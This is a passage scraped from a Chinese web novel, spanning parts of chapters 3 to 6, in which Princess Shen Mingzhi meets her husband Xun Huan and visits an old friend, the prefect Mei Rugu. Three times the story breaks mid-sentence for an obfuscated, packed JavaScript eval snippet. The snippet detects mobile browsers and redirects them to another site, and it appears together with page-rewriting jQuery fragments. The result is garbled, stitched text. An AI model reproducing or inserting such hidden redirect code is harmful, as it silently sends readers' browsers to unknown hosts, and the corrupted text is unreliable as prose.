l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514301|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仅仅是儿孙的将来,更是圣上的脸面。且春秋积序,年衰岁暮,圣上对宗室也愈发宽容,若非谋逆造反、窥伺神器,圣上大抵不会过分处置。 可如今,圣上的第十女兖国公主,代帝南巡本就惹人非议,在屠灭南海道布政司的所作所为更是惊天动地,路过江南又要朝雍王开刀,如果不是得了圣上的授意,她贸然出手,拿雍王府欺压地方大做文章,只会引火烧身。 不可否认,她是这些年来圣上最疼爱的公主,不然圣上也不会纵她南巡染指皇权,但天家的父女深情怎经受得了权力的考验?就算雍王府实在混账、实在欠收拾,明火执仗、堂而皇之绝对不该是诸王纷争之下一个皇女的行事风格。 但郇寰就是莫名觉得,海阔凭鱼跃,天高任鸟飞,那个被两宫用万千宠爱捧出来的长平公主沈明枳,就该是这样骄傲得近乎跋扈的模样。可现在她是出降后的兖国公主沈明枳,是无源之水、无本之木,他日倾覆,纵然她伏低做小终至投戈顿颡、面缚乞身的地步,又有何人能甘心放过? 她不是孩子了,怎能还像孩子一般鲁莽毛躁。 包间里的沈明枳耐心耗尽,威吓过无数人的、无波无澜的口吻正说着令人背脊生寒、魂不附体的话,收起獠牙、信手磋磨起笼中早就惶惶不安的猎物是他们老沈家看门的本事:“官呢?我也让人去请了,但没来,想来知县老爷早就洗洗睡了,也不愿意为了尔等宵小犯了阎王爷的忌讳。” 这本是她用来吓唬人的话,可郇寰觉得,照这个架势,沈明枳真有可能将这两个人的脖子拧了。他不由得叹气,随手拈了“牵连”二字作为理由,搪塞过自己有意为之的莽撞,趁着夏至和冬至说话的当口、护卫们僵持的阶段,一把推开了房门,一壁大步而入,一壁高声说道:“官来了。” 他一眼也不看缩在地上眼睛发直的男人,径直走向屋中站着的那架屏风,目空一切、旁若无人的态度,直让伏在地上的三五个男人以为救兵已到,顿时兴奋澎湃起来,又见来者掸了掸袖口,却不下跪,只虚虚朝屏风欠身,这更助长了他们的气焰。 不过,郇寰随后的君臣大礼如一桶凉水铺天盖地浇了下来:“臣刑部右侍郎、行江南道按察使郇寰,拜见兖国公主,公主千岁。” 屋内静默,只有夏至愣神后急急跑进来的脚步声不轻不重地敲在郇寰的心鼓上。他躬着身,紧绷着浑身肌肉,紧绷着脑中神经,一时之间暗中注意左右的习惯都被抛掷脑后,一门心思只在安静等待沈明枳的一句:“郇大人免礼。” 郇寰从容直起身,听见身后三五个呆若木鸡的男人颤抖着的议论如同投石入水般哗啦啦溅起:“他说什么?” “兖国公主?不可能吧,她不是在长洲吗?” “这这这……这活阎王怎么也在苏州府?他不是在漉水查案吗?” “莫不是他们串通起来唬我们的?” “疯了吧,他们两个怎么可能一起来苏州?” “你闭嘴,你懂什么!” 被浇了个透心凉的几人瑟缩成一团,战战兢兢、如履薄冰,仿佛非礼暴敛之人不是他们而是屏风前傲立的郇寰,屏风后的沈明枳更是为鬼为蜮、作威作福的大奸大恶之徒。 郇寰本是携律令重器责不法不轨之人,只是这种让人酣畅淋漓的场面在刑部少见,他不由得分了几缕神,细细品鉴过他们的惶恐不安。 这几个人为非作歹惯了,时运不佳撞到了兖国公主的刀口上,是活该;而自己因担心风云莫测、有朝一日被连坐,刻意坏了她安排的好事,接下来会有什么处置也是活该。 但这又怎么样呢?沈明枳能剐了这些不知天高地厚的人,难不成也能杀了不识好歹的自己?顶多是吃她的暗算、遭她的白眼、听她的讥诮,被这样冷落上一辈子。 但他不在乎,他也早过惯了这样孤独一人的日子。 待这几个人被快刀斩乱麻地拖下去后,郇寰收了纷乱的思绪,方才恍然自己僵立原地,已经过了一盏茶的功夫。他抬起虚攥的右手,扶上屏风边缘雕花时不可察地颤了颤,借力将掩在其后的身子转了过去,随后,他就这样一手扶着屏风,定定朝端坐眼前的沈明枳望去。 4. 第四章 再相逢 灯火通明,照彻屋宇,眼前人的样貌在潋滟华光下清清楚楚,可郇寰却觉得晦暗不明,越发看不透,如同五月石榴树的浓阴,如同六月泼天的暴雨,将他方才澎湃起的心火倏尔浇灭。 他说话做事都要把握先机,一向不愿落了下乘,但此刻,他将扶着屏风的手收起,垂眼理了理翻起的袖子,将先发制人的黑子推到别人手中。 沈明枳只是上下打量他一眼,确定分别八个月后的郇寰没有缺胳膊少腿后,便垂下眼帘,端起几上一碗已经凉透的茶,捻着茶盖薅着琥珀色的茶水,不咸不淡地问:“郇大人怎么在这?” 郇寰向前一步,故作温顺地垂手作答:“缉捕疑犯。” 哪有穿便服办公差的?且抓个人需要他亲自出马? 沈明枳心中了然,合上茶盖,语气比白水更淡了:“人抓到了?” “是。” 沈明枳将茶杯放回几上,顺势问道:“那漉水爆炸案子办得怎么样了?” “一切顺利,劳殿下挂心。” 沈明枳点点头,随后就是尴尬的沉默。 向来喜欢心中有数的郇寰不问她也突然出现在震泽的原因,沈明枳有些讶异,不过他不说话,她也不说。 她并非不善言辞,只是他们之间没什么好说的,要谈也只能谈漉水爆炸案的详情,但她没兴趣听郇寰表现。她琢磨着,如若郇寰还继续装哑巴,自己该如何不着痕迹地抛出早就编好的“散心”借口,然后水到渠成地端茶送客。 朗日高悬,轩然霞举,时人曾这样评价他。 沈明枳再瞥了一眼,这才发现精神尚可的郇寰比八个月前清瘦了些,丰神俊逸的贵公子也被累日案牍蹂躏。她不免又想起南巡沿途将“人面兽心”四个字光明正大写于面上之人的丑秽嘴脸,觉得自己就算是看在那些务实事的人的薄面上,也不应刻意为难他,至于他这般累死累活是为谁人办事,他又将“人面兽心”四个字藏到了什么地方,沈明枳就管不了了。 是故,她打破沉默,吩咐垂手候于门边的夏至:“赐座。” 夏至应下,正要动手搬来一只木墩,就听郇寰开口谢绝:“这有位子,就不劳烦夏至姑娘了,臣多谢殿下赐座。” 曾经的郇寰在她面前素来大胆,公事之外就会卸下君臣虚礼,只是阔别日久,沈明枳乍然找不回和郇寰相处的感觉,又或许是南巡这一路的人对她都太恭顺,让她忘记了她本不应该是这样张扬高调的人。 槛花笼鹤,琵琶旧语,又要如此。 郇寰隔着小几坐了下来,余光见她微微挪了下身子,弹指之间,又像是连这样天堑般的距离也难以忍受,直接离榻往前走了两步,背对着自己下了逐客令:“不早了,本宫散心至此也累了,郇大人回去休息吧,漉水案大人尽心尽力,本宫回京自会在圣上面前美言……” 这番说僭越亦不僭越的举动试出了八个月后的沈明枳对自己的态度,例行公事,疏离淡漠,意料之中,郇寰悬着的心终于放了下来。倒不是他敬酒不吃吃罚酒,若有了八个月前的隔膜,南巡一趟回来,沈明枳仍能如新婚时那般对他柔情缱绻……沈明枳不是能逆来顺受、忍气吞声的主,温柔刀,刀刀致命,那他才要警觉起来。 公事公办的态度,郇寰说不上喜欢,但他应付起这样的招招式式向来游刃有余。故而明知沈明枳说的都是空话、假话、客套话,就冲着“郇大人”这三个字,他也恭恭敬敬、规规矩矩地听完所有的场面话,然后在他再度被驱逐前抢问:“殿下鸾驾何时启程?臣好尽早前去正式拜见,全了礼数,顺便,臣有一些事想要禀明殿下。” 他一个南下巡按的行按察使,她一个北上述职的南巡钦差,所制不同,哪有要拜谒接见的正经礼数?不过漉水爆炸案是沈明枳经由旁人之手捅到早朝上的,明眼人都看得出是她的手笔,郇寰捏个理由,借此让自己表以重视,也说得过去。 不过,这样一来,便是去与不去皆可。 郇寰很狡黠,知道自己最厌为人所胁,故而留了个余地以显得他光明磊落、不是在算计自己。而他又算准了,自己冒然推拒绝对会被他要禀明的“一些事”折磨得心神不宁,最终还是会不情不愿地自投罗网。 自相矛盾,欲盖弥彰。 好算计。 而她还得受制于人。 沈明枳偏过脸,瞥他一眼,将所有的阴沉不快都掩饰得了无痕迹,“本宫微服,明日便会到漉水县,届时在县衙或者臬司衙门拜礼皆可,大人不必车马劳形,专心办案吧——夏至,送客。” “臣谢过公主体恤,臣告退。” 沈明枳倒不是体恤他,郇寰劳不劳顿她半点也不在乎,只要别年纪轻轻就驾鹤西去的好,不然摊子一撂,事情就麻烦了。 是她本来计划好了借道震泽直奔临川府,着意拜访一位故人,谁料遇上了外出办案的郇寰,真是比撞上雍王府的烂人还要晦气。 但撞上了郇寰,也不是丁点好处也无,就比如,南巡一路上名为保护、实为监视的一队由郇家忠仆郇杭率领的亲卫,立即回到了郇寰身边,以后回不回来沈明枳不在乎,至少今明两日终得自由。即便是这些“探子”还在“盯梢”,瞒天过海、浑水摸鱼,沈明枳还算是个中老手。 在别人几近于行监坐守的看守之下行为所欲为之事,她太有经验了。 端王沈明戒没有经验。 他从小到大就是最听话懂事、最脚踏实地、最聪明伶俐的孩子了,最不屑于这些旁门左道,且他行的都是磊落轶荡事,也用不着掩人耳目。但人生总会有各种各样的意外,先未雨绸缪总比猝然临之束手无策的好。 沈明枳看了一眼她的好弟弟。 是啊,风起云涌,变幻莫测,天知道一念之差,将来他会否照猫画虎地蒙混自己去行不仁不义之举—— 那这就很恐怖了。 沈明枳连忙把这个念头踩碎。 她的戒子是个心眼实诚的孩子,最是向上向善,断然不会做一些不三不四的事情给自己出难题。 劝服帖自己过后,沈明枳才试探地开口:“一会儿让你自己在街上转转如何?” 戒子正于帘缝窥大千,神游天外着,听了此话不由得发愣:“阿姐是有什么事吗?” 沈明枳微笑不语。 戒子眨眨眼。他不知道临川府有什么壮美山川,但他知道昨夜郇杭小哥率领的亲卫就已撤走了,做什么事情都不必束手束脚,沈明枳就算是想找百而八十个俊俏后生逗弄取乐都轻而易举。虽然他知道阿姐必然不是去找乐子的,但自己莫名也成为妨碍她办事的坎,心中失落难掩。 阿姐自有阿姐的道理。 戒子这般劝完自己就不再说话,但他心里想了什么,脸上就特意写满了什么。 沈明枳最吃这一套了,一边暗叹自己修为不够,一边笑着宽慰他:“阿姐有些事要办,想要戒子帮这个忙,戒子愿不愿意?” 他对沈明枳自然无有不应。 沈明枳瞧过他的神色间的微变,轻笑了两声:“那阿姐就谢过戒子了,看到什么好吃的好玩的不必顾及银钱,买了就是,只有一点:窦指挥使不在你身边,你得自己注意安全。” 阴阳卫指挥使窦宇为圣上所派,和长缨卫一并护送钦差南下,长缨卫专司钦差大臣的福祸,阴阳卫专责皇子帝女的安危,沈明枳又自己花钱豢养了一批暗卫,便将窦宇并着一众阴阳卫都指去保护了端王沈明戒。 今日的行程越少人知道越好,故而沈明枳并没有叫上阴阳卫,只让自己的暗卫跟随。 她的暗卫不是吃白饭的,但上回自己派下去的事情差点让他们的粗心大意办砸了,这让人很光火。只不过他们再废物,在大庭广众之下看住端王不让他出事这样的小事,也总不会办不好。 戒子笑应:“阿姐放心——说起来,戒子今天早上听说,有人一直在打听冬儿姐姐的下落。” 沈明枳挑挑眉,“那他打听到了吗?” “阿姐放心,阴阳卫的嘴都很严的。” 沈明枳懒懒地伸展了下胳膊,“阴阳卫是亲军卫,嘴巴自然严——三人行则必有我师,你也得引以为戒,以后打听什么事情,千万别和冬至一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514302|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的蠢,赔了夫人又折兵。” 戒子克制地点头,心里忍不住狂笑,一扫先前郁郁。 冬儿原本也叫冬至,是夏至的孪生妹妹,姐妹两个是从小服侍阿姐的人,随公主出降一道出的宫。结果很有缘分,驸马爷家的长随也叫冬至,且这位冬至小哥很爱捉弄人,常常气得冬至姐姐七窍生烟,终于有一日,她一怒之下改名改成了冬儿,并叫嚷着要和冬至老死不相往来。 今天出门,阿姐不带上冬儿,大概也怕冬至小哥对冬儿情牵意念,一不留神将事情捅到郇姐夫的眼皮子底下,那就大事不妙了。 “夏至姐姐,你和冬儿姐姐的名字是怎么来的?也是阿姐取的吗?” 夏至温笑道:“不是,是长安大公主还未出塞前取的,那时候,十七殿下您还未出生呢。” 戒子知道长安公主,皇后之女、故太子的亲妹妹,在他刚出生那年就身担国运、出关义律、和亲草原去了,三年后身殁他乡。 他借着车厢内明明灭灭的光亮,偷偷看向沈明枳,发现她那双被睫影、帘阴遮掩去大半的眼睛亮得可怕。但这一星亮光转瞬即逝,如同他的一刹那幻觉,沈明枳的眼睛即刻恢复了死水无澜般的沉静。 他莫名就觉得,阿姐极其不愿提起长安公主,是故,他默默将喉咙中的话咽了下去,谁料沈明枳出乎意料地挑起话头:“我记得那时候,戒子刚出生没多久,你们还没到我身边呢。” 夏至道:“是啊,那时候殿下身边就月珰一个大丫头。我记得,是十七殿下来到了坤宁宫与殿下作伴那会儿,殿下高兴坏了,有一回在御花园散步,月珰姐姐不在,殿下就摔了个大跟头,于是皇后娘娘就把我和冬儿从大公主身边拨到了殿下身边……” 戒子就见,沈明枳不自主地弯了唇角。 夏至回想起了戒子方才话中的那个“也”,笑问:“十七殿下的名字也是公主殿下取的吗?” “须弥藏芥子,芥子纳须弥,阿姐给我取的就是‘芥子’意——” 沈明枳笑着打断他:“可没有这么多寓意,那时我才多大,拽了几句佛经就四处炫耀,正巧见了你刚出生,一点点大,便随口诹了‘芥子’二字,厚颜无耻一句,父皇是受我启发给你换了一个‘戒’字,意在‘卑以自戒’,长大后若为俗渐染,便要‘恪敬恪戒’、‘戒革欲弊’。” 戒子微侧身朝沈明枳虚虚拜了:“戒子敬谢阿姐教诲,必将竭心尽力,不欺暗室,含章可贞,定然不会有失至亲所期、不负君父所望。” 沈明枳欣慰一笑,拉下他示礼的双手,“何必拘泥虚礼,你我本是牢笼囚徒,难得逍遥自在,又是骨肉血亲,便不要讲这些繁文缛节了。” 说着,沈明枳注意到戒子一闪而过的眼神,便笑道:“你是想问,我的名字是怎么来的?” 便是夏至,也觉出了沈明枳含笑话中的怅然意:“桢、楠、杉、槿,樱、榕、槐、檀,每一字都意蕴独到:楠贵杉直,槿樱佳木;榕叶柔脆,枝根相生,垂垂如流苏,?蜷樛结,柯叶?茂;周有三槐九棘之制,槐乃亨通官运,更兼‘怀子’美意,吉祥富贵;檀更不必多说,善木、强韧之木,百毒不侵、万古不朽、禅意斐然……” 戒子眼中已有哀楚,心中自责水漫金山。 “大姐姐的‘桢’字便更不寻常了,‘此木凌冬青翠,有贞守之操,故以贞女状之’,‘社稷之桢干,国家之良辅’,亦是此‘桢’字。” 只有她。 吾思枳棘丛中,非栖鸾凤之所。 沈明枳面上不显黯然,仍笑得春风和畅,目光却忍不住说了谎,不自主游离到了车窗之外。 天地寰宇、芸芸众生,就这样从飞起的车帘一角不请自来。 “然则——” 她刚一开口边戛然而止,斜瞟着车外,目光如铸铁般滚了过去,石沉大海。口风一转,沈明枳叫停:“停车!” “怎么了?” 戒子比夏至更添了担心。 沈明枳整理起脸上复杂的神色,提裙推门就要下车,“不必担忧,你们去转吧,我很快就会回来。” 5. 第五章 梅如故 “很多年不回京里,不曾想公主还认得出妾身。” “尤嫂嫂的模样未曾变过,与记忆里一般无二。” 尤夫人掩唇轻笑,领着沈明枳自僻静的府衙后门进了院落,还没来得及回应沈明枳,一进园子,一个男子气急败坏的叫唤声就将两个人都惊懵在原地:“兔崽子!再背不下来就给我滚回梅州老家!就你这猪脑袋,还想科举?我脑子一般,比不上那些个什劳子神童天才,但区区第二还是唾手可得的,你还没我的脑子,好吃懒惰的陋习却青出于蓝而胜于蓝……” 尤夫人赧然,捏着帕子擦了擦不存在的汗,心中觉得让公主殿下看见自家夫君抽着鞋底督促小叔读书很不妥帖,于是赶忙吩咐了侍女前去通报,自己准备领着贵客去正堂暂坐。谁知,侍女踉踉跄跄跑回来话还没说出口,自家夫君就已经施施然飘了出来。 “说有贵客,原来是公主啊。” 梅如故一边理着被揉拽得皱皱巴巴的袖子,一边阔步而来,扬声高笑着,走到沈明枳面前方才站定,朝自己的夫人一礼,旋即叠手要施行君臣大礼。 他本没想跪的,沈明枳也没叫他跪,只是要虚扶他小臂的手伸到一半,曲了膝盖的梅如故就自己起来了。 沈明枳稍稍挑眉,尤夫人眼皮直跳,唯有梅如故很坦然:“谢公主。” 尤夫人捏着汗去了前堂,留下呵呵直笑的梅如故,抱臂立于一旁,上下打量起沈明枳。 流云蔽月,远暮横烟。梅如故记得,她不常饰粉黛,不常配钗环,此时却妆容整齐、钗发俨然,气色也好比浩浩汤汤的天光,眼里的光亮也比玄天满目的星子更加璀璨,似是养得还不错。 梅如故堪堪放下心。 他一身竹青的布袍,飘然几欲和庭下的翠竹融为一体,唯有梳得整齐的冠发告诉来人,这不是什劳子修仙隐逸的世外高人。他笑得很欢畅,屋里的梅寻春觉得丢人,踟蹰纠结着不敢出来,梅如故一收声一扭头一抹脸,朝那躲藏于门后的年轻人暴吼:“滚出来!还有没有规矩了!” 沈明枳心中生趣,还没来得及善心大发地安慰一下被梅如故欺压得抽抽嗒嗒的梅寻春,梅寻春就被吓得慌里慌张,差点踩了衣摆摔个底朝天,勉勉强强行完礼便逃回书斋背书去了。 “梅大哥倒还一点也没变啊。” 言在此而意在彼,沈明枳是变了法地挖苦他,可故作糊涂的梅如故很受用,高兴地一捋鬓角,“那是自然。” 随后他弯了弯那笔直的脊梁,贼兮兮地嚼起了舌根:“去年乔致用那厮偷闲来看我,啧啧,他才比我大一岁,竟然老得像我爹。” 沈明枳无语。 这未免太夸张了。 天下谁不知道,梅如故他爹、升平当朝唯一的首辅大人梅痴绝是少年白头,不过知天命就乞骸骨,圣上也不敢挽留,只因梅阁老兢兢业业、勤勤恳恳、任劳任怨,终至于呕心沥血,五十岁上拄仗难行。 而乔鑫表字致用,乃当今乔皇后的族侄,几年前可是满京城数一数二风流俊秀的未婚公子,虽然现在也还是数一数二丰神俊朗的已婚大叔。 沈明枳觉得,梅如故就是有点嫉妒人家乔将军:毕竟大家长得不分伯仲,乔某人一介武夫常年在边疆啃沙子,自己学富五车才高八斗,在化隆城小姑娘们的心里,偏偏还比不过一个只知道舞枪弄棒的兵鲁子!成何体统!成何体统! 沈明枳轻咳两声,打断梅如故的自恋,心道现在若能回京,估计梅如故会嫉妒这世风日下、人心不古嫉妒得要死要活,毕竟长江后浪推前浪,而人却一代不如一代,现在京城化隆吃香的年轻儿郎都是泥巴填草渣,与他们当年不可同日而语,可姑娘家个个起劲得要死要活。 “君子不蔽人之美,不言人之恶。更兼‘虚言构陷’,‘污人清白’,更非君子所为,梅大哥以为呢?” 梅如故笑得夸张:“好你个丫头,小时候就偏袒老乔,长大了还偏心,看来还是他聪明,什么经史子集、师生道义,全然不如他用黄白俗物到处坑来的更俗不可耐的瓶瓶罐罐来得有用!你这个丫头果然也是俗不可耐,一见了那些个宝贝就挪不开眼,看来以前没少收他的好处,不然次次给他帮腔,枉我一心良苦都打了水漂。” 沈明枳微笑,随他七拐八绕地步入一片精致的小花园,拙劣地岔开话题:“方才那是梅三公子吧,果然是人才一表、雅量非凡,不愧为你梅如故的亲弟弟。” 梅如故心里熨帖,面上却骂得嫌弃:“老三那个混账羔子,背几本书背不下来,丢人丢到姥姥家了,还指望着科举中第,做梦去吧……” 可他自始至终都没有骂梅老三“歪瓜裂枣”以与他口中的“愚不可及”两相应衬。沈明枳了然地笑问:“怎么不见梅四公子?” 梅如故龇牙,“那小崽子滑头得很,见我发火,知道情形不妙想要开溜,就抢着要去府学接梅洐梅沸回来吃饭。” 沈明枳脚步一顿,“没心没肺?” “是啊,他们百日的时候你不是还托老乔送了礼吗?”梅如故兜着手在前面走着,漫不经心地回复着,随即他兴冲冲转过脸来,指着前面小花园一角搭起来的破竹蓬,“来来来,看看我的好东西。” 那搭在小破屋前的竹蓬下不是别的,正是临川梅知府的宝贝陶窑,捏陶器的家伙一应俱全,还有几只正在风干的半成品,歪歪扭扭地朝沈明枳卖弄着荒山野岭的风骚。 梅如故是才子!是闻名遐迩的大才子!更是六艺俱通、学遍古今的天大才子! 结果,他捏泥巴都可能捏不过他的一对天资聪颖的双胞胎儿子! 好吧,沈明枳承认自己夸张了,但梅如故捏泥巴的水平真的和他的才子名声很不相配!但梅如故本人不以为然,又或者,像他这个级别的“大师”所追求的标新立异,真的不是凡夫俗子可以理解的。 沈明枳蓦地想起自己出降那年,梅如故早就外放了,许久不见、音信断绝,收到故人的新婚贺礼那真是万分惊喜,结果千盼万盼就盼来了一套“平平无奇”的茶具。她也不是贪慕虚荣,只是有一回临川郡主来访,和这套茶具大眼瞪小眼笑了半天,得知这居然是梅如故的手笔,断然否认,甚至怀疑是沈明枳为报少时不知因何结下的数不清的仇怨,在故意脏污梅如故风流才子的美名。 她的恼火,可想而知。 “容我问一句,咳咳,当年您馈赠我的大作就出产自这里?” 梅如故对这种质疑颇为不满,“不然呢,好歹在瓷都漉水边上,瓷器搞不了陶器总可以研究研究吧……”说着,风流倜傥、狂浪不羁的梅公子摆弄起他的宝贝,沾沾自喜地件件展示,那情状,让沈明枳直怀疑,曾经那个挥笔立就倚马可待、浮白载笔元龙高卧、作画写诗无一不精的化隆第一才子,是不是给眼前这个半吊子陶工给掉包了。 好吧,术业有专攻。梅如故这几年外放还是很有政绩的,泥巴捏着玩玩也就行了。 提起贺礼,梅如故直起身,整肃敛容,似是由此才想起记忆里那个刁蛮的小姑娘竟然已经嫁为人妇,便刻意郑重地问她:“话说,你和你那驸马的关系怎么样了?” 沈明枳还在腹诽梅如故的童心未泯,猝不及防听见梅如故用商讨公事的口吻询问她的私事,霎时警觉,应付了一句:“什么怎么样?” 旋即,沈明枳笑道:“哦,这次不巧了,没赶上你四月十七的生辰,不过礼物我早就备好了——” 梅如故没有中计,将被沈明枳岔开的话题重新捡了回来:“别打岔,我多大的人了还过什么生日——你们夫妻之间闹矛盾了?” 他明显是想看戏,但语气关切得总会让人生出一点长辈谆谆叮嘱晚辈的错觉。 沈明枳眉毛都要挑到天上去了,一点也不想让这些事坏了她难得的好心情,便继续打马虎眼:“什么闹矛盾?怎么可能,大家又不是孩子心性,闹什么矛盾。” “当初听说你要代帝南巡我就觉出了不对,圣上派了阎野放那个和稀泥的老头子当钦差主使摆明了是不想和南海道撕破脸,结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514303|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果你居然初生牛犊不怕虎,把人家给灭了!”说到这,梅如故咂咂嘴,又想象了下沈明枳在南海道张牙舞爪的那幅鬼见了都要退避三舍的样子,简直不能和眼前这个进退有度、左右有局的姑娘联系到一起去。 他摩挲着下巴的胡茬若有所思,“虽然你从小就很有主意,也不是个循规蹈矩的性子,但再出格也不至于到动不动就血洗衙门的地步,必然是受了什么刺激……想来现在能刺激到你的事情,只能和你那个叫郇海山的驸马有关了。” “哦?”提起郇寰,沈明枳不悦地扬眉。梅如故过于抬举郇寰了,他郇寰有什么能耐能刺激到心如顽石、绝无转移的沈明枳?就算他残了、废了、死了,沈明枳都能色不变、目不瞬、泪不流地当自己的逍遥寡妇去日日享乐。 梅如故不爽她这幅欠收拾的态度,但毕竟长成大姑娘了,自己也不好拿出小时候训她的架势,只能苦口婆心地开劝:“生米煮成熟饭了,都成婚多久了,想掰也掰不了了,床头吵架床尾和,别让人钻了空子,其他的话想来你自己明白用不着我说,我说了反倒要和我对着干……只是一点,若不是什么天大的矛盾,你能退的就退一步,别成天一副天王老子来了也不让的嘴脸,再温柔和善的人也受不了你这脾气……和郇海山闹掰了对你有害无利,若是和了离,你就是二手货了!那郇海山还是个管刑狱的,这样一来,天底下还有哪个男人敢要你?” 沈明枳:“……” “况且,抛开别的不说,郇海山这个人还是不错的,脑子好用,做人做事踏实,也没有不良嗜好,又上进,人也标致,哎,若不是年纪差得太大了、身上是非太多,我还想招他做女婿呢,哪轮得到你。” 沈明枳:“……” 梅如故睃了她一眼,又假装叹气道:“哎,你看人家大老远地跑来漉水公干就是为了向你示好。漉水这个案子牵涉颇多,远非表面魏赵相争那么简单,周旋把握,处处都是分寸学问,错不得一点,他愿意担这个担子,撂下京中清闲的日子跑来自讨苦吃,僧面不看也得看佛面吧,你也……” 终于,沈明枳忍无可忍:“您真有点上年纪的老爷子的感觉了。” 梅如故毫不介意,伸了个大懒腰,用余光瞟着沈明枳的反应,觉得她是听明白了自己的用意方才释怀,更觉得被她损上两句也没什么:“老爷子就老爷子,好歹我有当老爷子的底气,像柳曦既啊,乔致用啊,他们想摆老爷子的架子都无儿无女捧场,啧啧,春秋积序、蹉跎年华!哎,如果柳曦既那厮努力点生个儿子,女大六,抱两块金砖,我家老幺也有着落了。” 沈明枳觉得梅如故还没吃酒,这酒疯就撒得不成体统了,“令嫒今年不过五岁吧,你这当爹的就这么着急?” “能不急吗?那小丫头真是魔星转世烦得要死,真不知道她一天到晚哪来的精力上蹿下跳的,惹是生非她最在行——”边说着,梅如故边领着她往花园另一角走去,还不忘回过头指着沈明枳笑骂道:“你小时候虽然也混账,但跟她比还是小巫见大巫了。” 说起小时候,即使被骂了沈明枳也不气,反倒笑得更加开怀,“她还小啊,长大了就好了,我不就是这样吗?” 梅如故笑着“呸”了一声:“别给你自己脸上贴金了,摸着良心问问,你是越长越好还是越活越不如以前了?”他正要掰扯沈明枳长大后干的一些糊涂事和小时候的机灵劲儿,就见前方花木扶疏,枝叶披离,正有上了年纪的婆子带着粉雕玉琢的小丫头在石子路上嬉戏,梅如故高声笑道:“来,梅谱,见见贵客!” 小姑娘听见是爹爹的呼唤,欢呼雀跃地朝这里跑来,周围一圈的“慢点”“小心摔了”此起彼伏,如同浪花溅起,而沈明枳还愣在梅如故的一声“没谱”之中如遭雷劈。 看他们父女相处的状态,沈明枳不由得怀疑梅如故方才的牢骚,怕不是他带着女儿胡来结果把罪责都推到不知世事的小姑娘头上? 摊上这么个没谱的爹真是倒了八辈子的……呃,真是三生有幸。 6. 第六章 阎罗地 “取名的时候嫂夫人就没为女儿抗争过吗?” 梅如故正和女儿玩闹,闻言想起了当时的欢乐事,笑得越发灿烂:“她啊?她笑得最高兴了。” “……” “后来她回过神,确实觉得这个名字很‘没谱’,但我说这是太子妃的意思,她虽不信,却也不好反驳。” 梅如故被女儿捶了一拳,装作受伤地哀叫一声,引得小丫头更加起劲,一边揪着爹爹已经皱得不成样子的袖子,一边睁着大大的眼睛,充满好奇地偷看着眼前这个忽然没了声音的漂亮姐姐。 沈明枳失神一瞬,见梅如故提起故太子妃不见半分伤怀,是已经释怀的模样,便也强颜欢笑起来,不至于让这样热闹的气氛落了地。虽然她最喜欢小孩子了,觉得小孩子最天真、最纯善、最简单、最好相处不过了,但她没有孩子,没带过孩子,和小孩子玩闹也束手束脚,但所幸梅谱挺喜欢她的,过分的亲近惹得梅如故都忍不住酸了起来。 “蝴蝶!”梅谱伸手要抓沈明枳头上那支蝶花钗,手还没碰到鬓角,梅谱整个人就被梅如故架着肩胛拖了回去,“梅谱,咱们要知礼守矩,不能随便碰旁人的东西,花园里不是有好多蝴蝶吗,你既然喜欢,那就自己去抓,别人的是别人的,自己的才是自己的……” 将女儿塞给了婆子,将还闹腾着的小丫头打发走,梅如故这才又开口:“不曾想,你南巡也带着这钗——人比钗环美,方才我还没注意,想来我没看错,这就是七岁那年生辰,你大姐姐送你的那支吧?” 沈明枳应声。 梅如故抚着袖子不禁怅然:“一晃十几年了,你还记得她?” 喉头哽了会儿,沈明枳才截然应下:“当然。” 梅如故遥望天光的一双眼里腾起了渺远的一片黄沙雾,“她就是十月二十五——你生日那天出的关,我记得自从那年后,你就不愿过生辰了?不过贺礼照收不误、办事也不耽搁?” “两码事。” 梅如故赞许地点点头:“嗯,的确是两码事,你心里明白就好,纵然情深意重,不至于因为这些情感而误事误己——”言及此,梅如故倍感怅然:“西出阳关无故人。你是个思旧耽旧的,但有些事已经过去了,你就该让它过去,强求无果,最后只毁了你自己的心情。” 沈明枳忍不住苦笑。 梅如故瞥了她一眼,笑容里也多了隐晦的勉强:“你以为我为什么啰嗦?西北边鄙,打打停停,不知道折腾了多少年,年初好不容易消停了,听说月初义律王庭就派人南下讲和,娶了一位公主不够,现在又请和亲来了,这些事你知道吧?” “知道。” 梅如故又端详她片刻,“你确定你知道?” 沈明枳轻笑:“你不就担心我瞎折腾吗?和亲关口,事关国运,天下苦战久,我自不会儿戏,在其位谋其事,您老远在这断发之乡掌一府之事,拿着知府的俸禄,就不要替京中那些腰缠万贯的‘大隐之士’瞎操心了。” 梅如故的心刚放下一半,又听:“不过,有仇必报、有恨必发,您老最了解我了不是?大姐姐身上的这些账我必然要一笔笔地讨回来,有仇不报非君子,这也是你教我的道理;不过您老放心,我不会给您、给黎元正道添麻烦的。” 